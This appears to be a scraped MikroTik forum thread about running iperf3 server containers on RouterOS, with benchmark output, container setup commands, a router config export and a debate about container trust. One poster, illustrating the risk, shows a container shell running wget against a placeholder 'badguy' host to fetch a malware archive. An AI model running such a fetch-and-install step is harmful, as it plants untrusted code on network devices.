/container print
1 name="4296455f-3ae4-4ea3-b96f-2fe832647191" tag="" os="linux" arch="arm64" interface=veth1-iperf root-dir=usb1/container/iperf mounts="" dns=""
hostname="iperf" status=running
less than 5MB
$ docker create --name foo --platform linux/arm64 taoyou/iperf3-alpine
$ docker export foo | pv -b > /dev/null
6.97MiB
Next step: try it on the CRS328, with its piddlin' 16 megs of flash.
PS C:\Users\Administrator\Software\iperf-3.1.3-win64> .\iperf3.exe -c 172.21.0.52
Connecting to host 172.21.0.52, port 5201
[ 4] local 192.168.206.15 port 58116 connected to 172.21.0.52 port 5201
[ ID] Interval Transfer Bandwidth
[ 4] 0.00-1.00 sec 20.8 MBytes 174 Mbits/sec
[ 4] 1.00-2.00 sec 25.8 MBytes 216 Mbits/sec
[ 4] 2.00-3.00 sec 26.9 MBytes 226 Mbits/sec
[ 4] 3.00-4.00 sec 25.0 MBytes 210 Mbits/sec
[ 4] 4.00-5.00 sec 26.2 MBytes 220 Mbits/sec
[ 4] 5.00-6.00 sec 27.8 MBytes 233 Mbits/sec
[ 4] 6.00-7.00 sec 25.4 MBytes 213 Mbits/sec
[ 4] 7.00-8.00 sec 21.5 MBytes 180 Mbits/sec
[ 4] 8.00-9.00 sec 25.6 MBytes 215 Mbits/sec
[ 4] 9.00-10.00 sec 27.5 MBytes 231 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bandwidth
[ 4] 0.00-10.00 sec 252 MBytes 212 Mbits/sec sender
[ 4] 0.00-10.00 sec 252 MBytes 212 Mbits/sec receiver
iperf Done.
/interface/bridge/add name=dockers
/ip/address/add address=172.21.0.254/24 interface=dockers
/interface/veth/add name=veth52 address=172.21.0.52/24 gateway=172.21.0.254
/interface/veth/set veth52 address=172.21.0.52/24
/interface/bridge/port add bridge=dockers interface=veth52
/container/config/set registry-url=https://registry-1.docker.io tmpdir=usb1-part1/pull
/container/envs/add name=ipserf3_server_envs key=TZ value="Asia/Jerusalem"
/container/envs/add name=ipserf3_server_envs key=IP value="172.21.0.52"
/container/add dns=172.21.0.254 remote-image=elicro/iperf3-server interface=veth52 root-dir=usb1-part1/iperf3_server envlist=ipserf3_server_envs start-on-boot=yes
Give the latest alpine 3.18 iperf3 a test:
$ docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
tangentsoft/iperf3 latest fdf4574c8ceb 6 seconds ago 393kB
elicro/iperf3-server latest 3374057abc08 34 seconds ago 15.9MB
# docker history --no-trunc elicro/iperf3-server
IMAGE CREATED CREATED BY
SIZE COMMENT
sha256:6a35302d2125aeffa846810a94e7776b90cd8f9724224f0f1c8abcfc5ffbe13f 2 days ago CMD ["/start-server.sh"]
0B buildkit.dockerfile.v0
<missing> 2 days ago EXPOSE map[5201/tcp:{} 5201/udp:{}]
0B buildkit.dockerfile.v0
<missing> 2 days ago RUN /bin/sh -c chmod +x /start-server.sh # buildkit
21B buildkit.dockerfile.v0
<missing> 2 days ago COPY start-server.sh /start-server.sh # buildkit
21B buildkit.dockerfile.v0
<missing> 2 days ago WORKDIR /
0B buildkit.dockerfile.v0
<missing> 2 days ago RUN /bin/sh -c apk add --no-cache iperf3 # buildkit
213kB buildkit.dockerfile.v0
<missing> 4 days ago RUN /bin/sh -c echo OK && apk update # buildkit
1.88MB buildkit.dockerfile.v0
<missing> 6 weeks ago /bin/sh -c #(nop) CMD ["/bin/sh"]
0B
<missing> 6 weeks ago /bin/sh -c #(nop) ADD file:756183bba9c7f4593c2b216e98e4208b9163c4c962ea0837ef88bd917609d001 in / 7.34MB
Your container is designed to be…for specific edge use cases.
The container I have created is a general off the shelf ready to use software packaged in a container.
I am not trying to use the latest iperf version since I rely on Alpine distribution.
you can see the content of the container and verify if it's OK for you.
COPY /src/iperf3 /bin/ # buildkit
If you need the sources for a simple `apk add iperf3` you are in a really bad shape.
If you are going to run a container you should have the knowledge and understanding of the risks
if you are so afraid of containers and from alpine you should not even used RouterOS but rather…
$ ssh admin@myrouter
> /container/add remote-image="alpine:latest" interface=veth1 entrypoint="/bin/sleep" cmd="600"
> /container/start 0
> exit
$ ssh readonly@myrouter
> /container/shell 0
# apk add gcc
# wget https://badguy.example.com/horrid/malware.tar.gz
there should be a signature that will identify the container in it's latest state.
…to verify that the static binary is either safe or not safe for usage and it's not such a simple task by itself since it's a self compiled and not a widely used binary
The difference is the effort needed to secure the trust of the container.
use the FW....
block all outgoing traffic by default and allow only NEW,ESTABLISHED,RELATED per the iperf3 ports.
# 2023-12-02 13:44:31 by RouterOS 7.12.1
# software id =
#
# model = RB3011UiAS
# serial number =
/interface bridge
add admin-mac=64:D1:54:81:35:E3 auto-mac=no comment=defconf name=bridge
add name=containers
/interface ethernet
set [ find default-name=ether2 ] name=ether2-master
set [ find default-name=ether6 ] name=ether6-master
/interface veth
add address=192.168.88.2/24 gateway=192.168.88.1 gateway6="" name=veth1
/disk
set usb1 type=hardware
/interface list
add comment=defconf name=WAN
add comment=defconf name=LAN
add exclude=dynamic name=discover
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip pool
add name=default-dhcp ranges=192.168.88.10-192.168.88.254
/ip dhcp-server
add address-pool=default-dhcp interface=bridge lease-time=10m name=defconf
/port
set 0 name=serial0
/snmp community
set [ find default=yes ] addresses=0.0.0.0/0
/zerotier
set zt1 comment="ZeroTier Central controller - https://my.zerotier.com/" \
disabled=yes disabled=yes name=zt1 port=9993
/container
add interface=veth1 logging=yes start-on-boot=yes workdir=/
/container config
set registry-url=https://registry-1.docker.io tmpdir=usb1/pull
/interface bridge port
add bridge=bridge comment=defconf interface=ether2-master
add bridge=bridge comment=defconf interface=ether6-master
add bridge=bridge comment=defconf hw=no interface=sfp1
add bridge=bridge interface=ether3
add bridge=bridge interface=ether4
add bridge=bridge interface=ether5
add bridge=bridge interface=ether7
add bridge=bridge interface=ether8
add bridge=bridge interface=ether9
add bridge=bridge interface=ether10
add bridge=bridge interface=veth1
/ip neighbor discovery-settings
set discover-interface-list=discover
/interface list member
add comment=defconf interface=bridge list=LAN
add comment=defconf interface=ether1 list=WAN
add interface=ether2-master list=discover
add interface=ether3 list=discover
add interface=ether4 list=discover
add interface=ether5 list=discover
add interface=sfp1 list=discover
add interface=ether6-master list=discover
add interface=ether7 list=discover
add interface=ether8 list=discover
add interface=ether9 list=discover
add interface=ether10 list=discover
add interface=bridge list=discover
/ip address
add address=192.168.88.1/24 comment=defconf interface=bridge network=\
192.168.88.0
add address=192.168.88.2/24 interface=veth1 network=192.168.88.0
/ip dhcp-client
add comment=defconf interface=containers
/ip dhcp-server network
add address=192.168.88.0/24 comment=defconf gateway=192.168.88.1
/ip dns
set allow-remote-requests=yes
/ip dns static
add address=192.168.88.1 name=router.lan
/ip firewall filter
add action=accept chain=input comment=\
"defconf: accept established,related,untracked" connection-state=\
established,related,untracked
add action=drop chain=input comment="defconf: drop invalid" connection-state=\
invalid
add action=accept chain=input comment="defconf: accept ICMP" protocol=icmp
add action=drop chain=input comment="defconf: drop all not coming from LAN" \
disabled=yes in-interface-list=!LAN
add action=accept chain=forward comment="defconf: accept in ipsec policy" \
ipsec-policy=in,ipsec
add action=accept chain=forward comment="defconf: accept out ipsec policy" \
ipsec-policy=out,ipsec
add action=fasttrack-connection chain=forward comment="defconf: fasttrack" \
connection-state=established,related disabled=yes hw-offload=yes
add action=accept chain=forward comment=\
"defconf: accept established,related, untracked" connection-state=\
established,related,untracked
add action=drop chain=forward comment="defconf: drop invalid" \
connection-state=invalid
add action=drop chain=forward comment=\
"defconf: drop all from WAN not DSTNATed" connection-nat-state=!dstnat \
connection-state=new disabled=yes in-interface-list=WAN
/ip firewall nat
add action=masquerade chain=srcnat comment="defconf: masquerade" \
ipsec-policy=out,none out-interface-list=WAN
/routing bfd configuration
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
/system clock
set time-zone-name=Europe/Moscow
/system logging
set 0 action=disk
set 1 action=disk
set 2 action=disk
set 3 action=disk
/system note
set show-at-login=no
/ip firewall filter
add place-before=0 protocol=tcp dst-port=5201 \
action=accept chain=forward out-bridge-port=veth1
/interface/veth
add address=192.168.88.2/24 gateway=192.168.88.1 name=veth1
/interface bridge port
add bridge=bridge interface=veth1
/container
add remote-image=tangentsoft/iperf3:latest \
interface=veth1 \
start-on-boot=yes \
logging=yes
start 0
Thank you very much for your effort & super detailed instructions, it greatly helped me learn! I manually compiled iperf3 using your Makefile/Dockerfile just now & uploaded it to my RB5009. It works but surprised to see CPU util jump to ~ 25% as iperf3 is doing its thing. If I just finished the compile form iperf master, that would mean I picked up 3.16 & whatever else, right ?iperf 3.16 is out, with a significant performance jump in multi-stream tests. My RB4011 numbers went from 3.4 Gbit/sec for 4-stream downloads to over 4 Gbit/sec atop OM4 with generic SFP+ modules. IMO, it's worth recreating your containers to use this version. (And upgrade your clients, too.)
surprised to see CPU util jump to ~ 25% as iperf3 is doing its thing.
I picked up 3.16 & whatever else, right ?
Ah, I missed the --branch that switches to the VERSION ! Thank you & for the command. A lot to learnYou would have had to go out of your way to get anything else, assuming you're using the latest version of the Makefile, which hard-codes the "3.16" release version string.
You can double-check it with a command like "docker run -it --rm tangentsoft/iperf3 --version".
native iperf3 on rpi4 is ~ 4% CPU usage.
Give the latest alpine 3.18 iperf3 a test:
https://hub.docker.com/r/elicro/iperf3-server
The next is a test from a windows machine over a connection between HAP ax2 to an HAP ac2 which hosts the iperf3-server.
Seems pretty decent to me.
Code: Select allPS C:\Users\Administrator\Software\iperf-3.1.3-win64> .\iperf3.exe -c 172.21.0.52 Connecting to host 172.21.0.52, port 5201 [ 4] local 192.168.206.15 port 58116 connected to 172.21.0.52 port 5201 [ ID] Interval Transfer Bandwidth [ 4] 0.00-1.00 sec 20.8 MBytes 174 Mbits/sec [ 4] 1.00-2.00 sec 25.8 MBytes 216 Mbits/sec [ 4] 2.00-3.00 sec 26.9 MBytes 226 Mbits/sec [ 4] 3.00-4.00 sec 25.0 MBytes 210 Mbits/sec [ 4] 4.00-5.00 sec 26.2 MBytes 220 Mbits/sec [ 4] 5.00-6.00 sec 27.8 MBytes 233 Mbits/sec [ 4] 6.00-7.00 sec 25.4 MBytes 213 Mbits/sec [ 4] 7.00-8.00 sec 21.5 MBytes 180 Mbits/sec [ 4] 8.00-9.00 sec 25.6 MBytes 215 Mbits/sec [ 4] 9.00-10.00 sec 27.5 MBytes 231 Mbits/sec - - - - - - - - - - - - - - - - - - - - - - - - - [ ID] Interval Transfer Bandwidth [ 4] 0.00-10.00 sec 252 MBytes 212 Mbits/sec sender [ 4] 0.00-10.00 sec 252 MBytes 212 Mbits/sec receiver iperf Done.
Download page for iperf3 windows version:
https://iperf.fr/iperf-download.php#windows
Installation instructions:Code: Select all/interface/bridge/add name=dockers /ip/address/add address=172.21.0.254/24 interface=dockers /interface/veth/add name=veth52 address=172.21.0.52/24 gateway=172.21.0.254 /interface/veth/set veth52 address=172.21.0.52/24 /interface/bridge/port add bridge=dockers interface=veth52 /container/config/set registry-url=https://registry-1.docker.io tmpdir=usb1-part1/pull /container/envs/add name=ipserf3_server_envs key=TZ value="Asia/Jerusalem" /container/envs/add name=ipserf3_server_envs key=IP value="172.21.0.52" /container/add dns=172.21.0.254 remote-image=elicro/iperf3-server interface=veth52 root-dir=usb1-part1/iperf3_server envlist=ipserf3_server_envs start-on-boot=yes